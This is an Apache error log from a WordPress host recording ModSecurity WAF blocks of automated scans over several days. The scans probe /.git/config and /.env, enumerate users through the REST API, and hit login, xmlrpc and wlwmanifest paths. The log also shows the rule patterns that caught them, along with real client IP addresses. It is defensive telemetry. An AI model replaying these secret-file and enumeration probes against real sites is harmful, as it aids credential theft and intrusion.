[Mon Nov 10 18:55:56.068359 2025] [:error] [pid 16945:tid 16990] [client 45.153.34.41:39224] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRHEvFL86x0tSmshCCUT9QAAAE8"]
[Mon Nov 10 18:57:51.419394 2025] [:error] [pid 17768:tid 17785] [client 95.223.69.19:48087] [client 95.223.69.19] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aRHFL1LzHj2v84v6mldH3wAAAAo"], referer: https://www.google.com
[Mon Nov 10 18:57:54.873808 2025] [:error] [pid 17858:tid 17881] [client 95.223.69.19:6668] [client 95.223.69.19] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRHFMnD1dhzujxQQMarw-gAAANM"]
[Mon Nov 10 18:57:54.874076 2025] [:error] [pid 17858:tid 17881] [client 95.223.69.19:6668] [client 95.223.69.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.223.69.19, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRHFMnD1dhzujxQQMarw-gAAANM"]
[Mon Nov 10 18:57:54.884642 2025] [proxy_fcgi:error] [pid 17858:tid 17881] [client 95.223.69.19:6668] AH01071: Got error 'Primary script unknown'
[Mon Nov 10 18:57:56.555200 2025] [:error] [pid 17858:tid 17866] [client 95.223.69.19:6754] [client 95.223.69.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.223.69.19, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aRHFNHD1dhzujxQQMarw-wAAAMQ"], referer: https://www.google.com
[Mon Nov 10 18:57:56.561046 2025] [proxy_fcgi:error] [pid 17858:tid 17866] [client 95.223.69.19:6754] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Mon Nov 10 18:57:58.490627 2025] [:error] [pid 17858:tid 17870] [client 95.223.69.19:6634] [client 95.223.69.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.223.69.19, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aRHFNnD1dhzujxQQMarw_wAAAMg"], referer: https://www.google.com
[Mon Nov 10 18:57:58.494634 2025] [proxy_fcgi:error] [pid 17858:tid 17870] [client 95.223.69.19:6634] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Mon Nov 10 22:10:14.678007 2025] [:error] [pid 31030:tid 31088] [client 209.38.71.77:55515] [client 209.38.71.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.38.71.77, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRHyRjdQpWeECLLAfnZqfwAAAEw"], referer: https://agoweb.com.ar//wp-login.php
[Mon Nov 10 22:10:14.698562 2025] [proxy_fcgi:error] [pid 31030:tid 31088] [client 209.38.71.77:55515] AH01071: Got error 'Primary script unknown', referer: https://agoweb.com.ar//wp-login.php
[Mon Nov 10 22:38:16.305123 2025] [proxy_fcgi:error] [pid 34820:tid 34845] [client 157.173.194.118:58309] AH01071: Got error 'Primary script unknown'
[Mon Nov 10 22:38:20.529353 2025] [proxy_fcgi:error] [pid 31029:tid 31069] [client 157.173.194.118:52229] AH01071: Got error 'Primary script unknown'
[Tue Nov 11 01:32:24.583570 2025] [:error] [pid 14120:tid 14146] [client 142.93.178.91:56086] [client 142.93.178.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.178.91, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRIhqCT8OKKuPaCGMt0jkAAAAVc"], referer: https://agora-colombia.com//wp-login.php
[Tue Nov 11 01:32:24.619364 2025] [proxy_fcgi:error] [pid 14120:tid 14146] [client 142.93.178.91:56086] AH01071: Got error 'Primary script unknown', referer: https://agora-colombia.com//wp-login.php
[Tue Nov 11 07:00:33.217454 2025] [:error] [pid 33932:tid 33973] [client 212.56.54.15:26463] [client 212.56.54.15] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aRJukZdn2hP2rg5PoHJgWQAAAUY"], referer: https://www.google.com
[Tue Nov 11 07:00:52.018276 2025] [:error] [pid 33932:tid 33980] [client 212.56.54.15:64774] [client 212.56.54.15] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRJupJdn2hP2rg5PoHJghQAAAU0"]
[Tue Nov 11 07:00:52.018646 2025] [:error] [pid 33932:tid 33980] [client 212.56.54.15:64774] [client 212.56.54.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.56.54.15, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRJupJdn2hP2rg5PoHJghQAAAU0"]
[Tue Nov 11 07:00:52.031074 2025] [proxy_fcgi:error] [pid 33932:tid 33980] [client 212.56.54.15:64774] AH01071: Got error 'Primary script unknown'
[Tue Nov 11 07:00:58.774567 2025] [:error] [pid 34002:tid 34011] [client 212.56.54.15:43469] [client 212.56.54.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.56.54.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aRJuqtNx46Ag0u620orPOgAAAAU"], referer: https://www.google.com
[Tue Nov 11 07:00:58.779425 2025] [proxy_fcgi:error] [pid 34002:tid 34011] [client 212.56.54.15:43469] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Tue Nov 11 07:01:06.191784 2025] [:error] [pid 34002:tid 34009] [client 212.56.54.15:24632] [client 212.56.54.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.56.54.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aRJustNx46Ag0u620orPaQAAAAM"], referer: https://www.google.com
[Tue Nov 11 07:01:06.199801 2025] [proxy_fcgi:error] [pid 34002:tid 34009] [client 212.56.54.15:24632] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Tue Nov 11 08:32:42.076849 2025] [:error] [pid 19559:tid 19568] [client 138.94.52.227:27050] [client 138.94.52.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.94.52.227, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRKEKk2A7XQJ15MEH8ClLAAAAgU"]
[Tue Nov 11 08:32:42.137829 2025] [proxy_fcgi:error] [pid 19559:tid 19568] [client 138.94.52.227:27050] AH01071: Got error 'Primary script unknown'
[Tue Nov 11 09:49:03.653324 2025] [:error] [pid 53355:tid 53367] [client 93.158.91.12:38341] [client 93.158.91.12] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "34.239.197.197_394ab822c7305bb4796b0454c537cf4a3b15dc9f"): Internal error (specific information not available) [hostname "agraphics.com.au"] [uri "/favicon.ico"] [unique_id "aRKWDoB5X5A3rMc4_nDOMAAAAAk"]
[Tue Nov 11 19:48:03.417483 2025] [:error] [pid 36579:tid 36622] [client 159.203.76.199:39002] [client 159.203.76.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRMic-muedRSntjwLw6CvgAAAAs"]
[Tue Nov 11 23:49:30.624925 2025] [:error] [pid 47859:tid 47868] [client 159.203.76.199:34660] [client 159.203.76.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aRNbCqRzLR7egYHK_4edUgAAAAQ"]
[Wed Nov 12 02:40:19.454897 2025] [:error] [pid 40745:tid 40763] [client 44.222.99.199:58826] [client 44.222.99.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 44.222.99.199, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aRODE8dgIR-a_T0XcdAh8gAAAA0"]
[Wed Nov 12 02:40:19.464721 2025] [proxy_fcgi:error] [pid 40745:tid 40763] [client 44.222.99.199:58826] AH01071: Got error 'Primary script unknown'
[Wed Nov 12 03:33:07.948198 2025] [:error] [pid 31761:tid 31822] [client 45.153.34.233:38476] [client 45.153.34.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aROPc1Mp-7RgjEO0CMWkqQAAAE0"]
[Wed Nov 12 04:43:32.371925 2025] [:error] [pid 32959:tid 32972] [client 46.8.154.224:45127] [client 46.8.154.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.8.154.224, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aROf9Hoyrq7OJfcFnDigtwAAAQk"]
[Wed Nov 12 04:43:32.384087 2025] [proxy_fcgi:error] [pid 32959:tid 32972] [client 46.8.154.224:45127] AH01071: Got error 'Primary script unknown'
[Wed Nov 12 05:53:51.959593 2025] [:error] [pid 57312:tid 57328] [client 159.203.133.212:47468] [client 159.203.133.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aROwb40cuHgB17JK5qXChAAAAMs"]
[Wed Nov 12 05:53:54.119175 2025] [:error] [pid 32959:tid 32979] [client 159.203.133.212:58636] [client 159.203.133.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aROwcnoyrq7OJfcFnDjKKAAAARA"]
[Wed Nov 12 11:08:34.584325 2025] [:error] [pid 60096:tid 60153] [client 94.247.172.129:62802] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.agraphics.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aRP6MjmzkhCvvk8DXOwcFgAAAJQ"]
[Wed Nov 12 11:08:54.942757 2025] [:error] [pid 60180:tid 60201] [client 195.178.110.159:39826] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRP6Rlhgd7ccS8EZg1quvAAAAVM"]
[Wed Nov 12 11:27:40.243517 2025] [:error] [pid 60405:tid 60431] [client 195.178.110.159:46624] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRP-rHMGv_mlVi6mf5pphAAAABc"]
[Wed Nov 12 12:11:10.732806 2025] [proxy_fcgi:error] [pid 60095:tid 60103] [client 157.173.194.118:61811] AH01071: Got error 'Primary script unknown'
[Wed Nov 12 12:50:25.021885 2025] [:error] [pid 60097:tid 60170] [client 3.141.85.8:45830] [client 3.141.85.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRQSEcdT5oio_TbWpi8R9gAAANE"]
[Wed Nov 12 21:37:17.852403 2025] [:error] [pid 23737:tid 23772] [client 212.105.142.177:10174] [client 212.105.142.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.105.142.177, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRSNjRQUsVVfOZWgW_XaiwAAAZc"]
[Wed Nov 12 21:37:17.866721 2025] [proxy_fcgi:error] [pid 23737:tid 23772] [client 212.105.142.177:10174] AH01071: Got error 'Primary script unknown'
[Wed Nov 12 23:46:13.646392 2025] [:error] [pid 60095:tid 60102] [client 45.153.34.233:49992] [client 45.153.34.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRSrxXlw2elroagFF1pn6gAAAEM"]
[Thu Nov 13 12:38:58.021145 2025] [:error] [pid 6086:tid 6112] [client 85.204.70.116:10845] [client 85.204.70.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.116, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRVg4n9_6CRZzjZnAe2iyAAAARc"]
[Thu Nov 13 12:38:58.032772 2025] [proxy_fcgi:error] [pid 6086:tid 6112] [client 85.204.70.116:10845] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 12:39:00.205646 2025] [:error] [pid 6086:tid 6112] [client 85.204.70.116:10845] [client 85.204.70.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aRVg5H9_6CRZzjZnAe2i1gAAARc"]
[Thu Nov 13 12:39:00.690138 2025] [:error] [pid 62303:tid 62322] [client 85.204.70.116:42150] [client 85.204.70.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aRVg5L-hlFTtVrZw8jBzLgAAAI8"]
[Thu Nov 13 12:39:01.207657 2025] [:error] [pid 62215:tid 62242] [client 85.204.70.116:42160] [client 85.204.70.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aRVg5UvClof1c6XaOBU56QAAANc"]
[Thu Nov 13 12:39:01.712718 2025] [:error] [pid 6086:tid 6107] [client 85.204.70.116:42176] [client 85.204.70.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aRVg5X9_6CRZzjZnAe2i2QAAARI"]
[Thu Nov 13 15:57:29.539273 2025] [:error] [pid 62217:tid 62282] [client 82.102.18.116:59922] [client 82.102.18.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.102.18.116, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRWPaRjGU3T9wKBmdNcaHgAAAEg"]
[Thu Nov 13 15:57:29.552437 2025] [proxy_fcgi:error] [pid 62217:tid 62282] [client 82.102.18.116:59922] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 15:57:33.171933 2025] [:error] [pid 62217:tid 62293] [client 82.102.18.116:59922] [client 82.102.18.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aRWPbRjGU3T9wKBmdNcaKwAAAFM"]
[Thu Nov 13 15:57:33.792832 2025] [:error] [pid 62303:tid 62310] [client 82.102.18.116:59932] [client 82.102.18.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aRWPbb-hlFTtVrZw8jDJ_AAAAIM"]
[Thu Nov 13 15:57:34.684346 2025] [:error] [pid 62303:tid 62312] [client 82.102.18.116:59946] [client 82.102.18.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aRWPbr-hlFTtVrZw8jDJ_gAAAIU"]
[Thu Nov 13 15:57:35.350721 2025] [:error] [pid 62215:tid 62219] [client 82.102.18.116:47062] [client 82.102.18.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aRWPb0vClof1c6XaOBWAzwAAAMA"]
[Thu Nov 13 16:06:47.835135 2025] [:error] [pid 62303:tid 62329] [client 217.217.250.10:60971] [client 217.217.250.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRWRl7-hlFTtVrZw8jDNlQAAAJY"]
[Thu Nov 13 16:06:48.347322 2025] [:error] [pid 6086:tid 6110] [client 217.217.250.10:60976] [client 217.217.250.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aRWRmH9_6CRZzjZnAe0U1wAAARU"]
[Thu Nov 13 16:06:48.795391 2025] [:error] [pid 62303:tid 62310] [client 217.217.250.10:61130] [client 217.217.250.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "aRWRmL-hlFTtVrZw8jDNlwAAAIM"]
[Thu Nov 13 17:55:44.484735 2025] [:error] [pid 62303:tid 62316] [client 150.241.107.255:56687] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRWrIL-hlFTtVrZw8jDoIQAAAIk"]
[Thu Nov 13 17:55:45.030634 2025] [:error] [pid 62216:tid 62266] [client 150.241.107.255:56899] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRWrIepyFB9M2aVQhwM0qgAAABM"]
[Thu Nov 13 17:55:45.577384 2025] [:error] [pid 62217:tid 62292] [client 150.241.107.255:57319] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRWrIRjGU3T9wKBmdNc29wAAAFI"]
[Fri Nov 14 02:16:44.153653 2025] [:error] [pid 56495:tid 56518] [client 136.114.17.214:39714] [client 136.114.17.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aRYgjFwO8wZZL5WJceXVFwAAANM"]
[Fri Nov 14 02:16:51.169958 2025] [:error] [pid 56496:tid 56537] [client 35.232.110.116:40986] [client 35.232.110.116] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aRYgk-h2ME7eucGJGGLPRQAAAAk"]
[Fri Nov 14 06:36:19.298331 2025] [:error] [pid 47156:tid 47217] [client 45.145.131.239:11049] [client 45.145.131.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRZdY9jrQX_P-kC7M_4COwAAAIM"], referer: https://www.google.com/
[Fri Nov 14 06:37:07.887739 2025] [:error] [pid 47630:tid 47632] [client 45.145.129.161:31605] [client 45.145.129.161] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRZdk8xXXNBfWgpfVJ5DiAAAAQA"], referer: https://www.facebook.com/
[Fri Nov 14 14:03:22.546002 2025] [:error] [pid 16575:tid 16650] [client 27.60.129.214:31724] [client 27.60.129.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.60.129.214, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRbGKu6qT670YxigvbA29QAAANA"]
